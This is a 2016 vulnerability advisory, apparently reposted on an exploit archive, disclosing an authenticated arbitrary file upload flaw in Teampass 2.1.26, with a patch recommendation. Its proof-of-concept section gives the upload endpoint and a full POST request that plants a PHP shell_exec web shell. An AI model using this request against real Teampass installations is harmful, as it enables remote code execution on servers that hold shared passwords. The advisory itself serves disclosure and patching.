Exploit the possiblities

Teampass 2.1.26 Arbitrary File Upload

Teampass 2.1.26 Arbitrary File Upload
Posted Jul 6, 2016
Authored by Peter Kok | Site vulnerability-lab.com

Teampass version 2.1.26 suffers from a remote authenticated file upload vulnerability that may allow for code execution.

tags | exploit, remote, code execution, file upload
MD5 | f26594fd5dac0172639bf267355e99df

Teampass 2.1.26 Arbitrary File Upload

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Document Title:
===============
Teampass 2.1.26 - Authenticated File Upload Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1866


Release Date:
=============
2016-07-06


Vulnerability Laboratory ID (VL-ID):
====================================
1866


Common Vulnerability Scoring System:
====================================
7.2


Product & Service Introduction:
===============================
TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way on any server Apache, MySQL and PHP.
It is especially designed to provide passwords access security for allowed people. This makes TeamPass really useful in a
Business/Enterprise environment and will provide to IT or Team Manager a powerful and easy tool for customizing passwords
access depending on the user’s role.

(Copy of the Homepage: http://teampass.net/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a file upload vulnerability in the official Teampass v2.1.26 web-application.


Vulnerability Disclosure Timeline:
==================================
2016-07-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A file upload vulnerability has been discovered in the official Teampass v2.1.26 web-application.

The vulnerability allows authenticated users with low privileged accounts to upload files to the /files directory in the webroot.
There are no filters present which checks the file extensions or contents for the files.


Proof of Concept (PoC):
=======================
Any authenticated user can upload files to the /files directory in the webroot, even low privileged users with only read-only rights can exploit this vulnerability.

Files can be uploaded by visiting http://localhost/TeamPass/sources/upload/upload.files.php?PHPSESSID=x&name=poc.php and content can be inserted with a POST request.

--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost/TeamPass/sources/upload/upload.files.php?PHPSESSID=x&name=poc.php
Request Header:
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: 157b783184cb1aa6ce3495511a879057e70d3f561f2c8d47d6=e7ea2ef5da03812806df888810bd2c671a8b8ec4b6e8e3e673;
KEY_PHPSESSID=P4khaxdq8UTAwyOcJX5qnUYdytv6y%2BVGpcvHwunzTVQ%3D%3A3VQCIK2PC1Sa703MrzE6M%2BUFe4IpAM6AtGPUkqtMsag%3D; PHPSESSID=9q68v86v6k62l224m0419024k6; jstree_select=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
If-Modified-Since: *

POST DATA:
<?php echo shell_exec('uname -a');?>


The file will be placed in the /files directory which is http://localhost/TeamPass/files/poc.php in the PoC above.


Solution - Fix & Patch:
=======================
Update to the latest Teampass version (2.1.26/4).


Security Risk:
==============
Thanks to this vulnerability it is possible to upload a shell and execute commands with the priveleges of the webserver process. (CVSS 7.2)


Credits & Authors:
==================
Peter Kok - [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
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including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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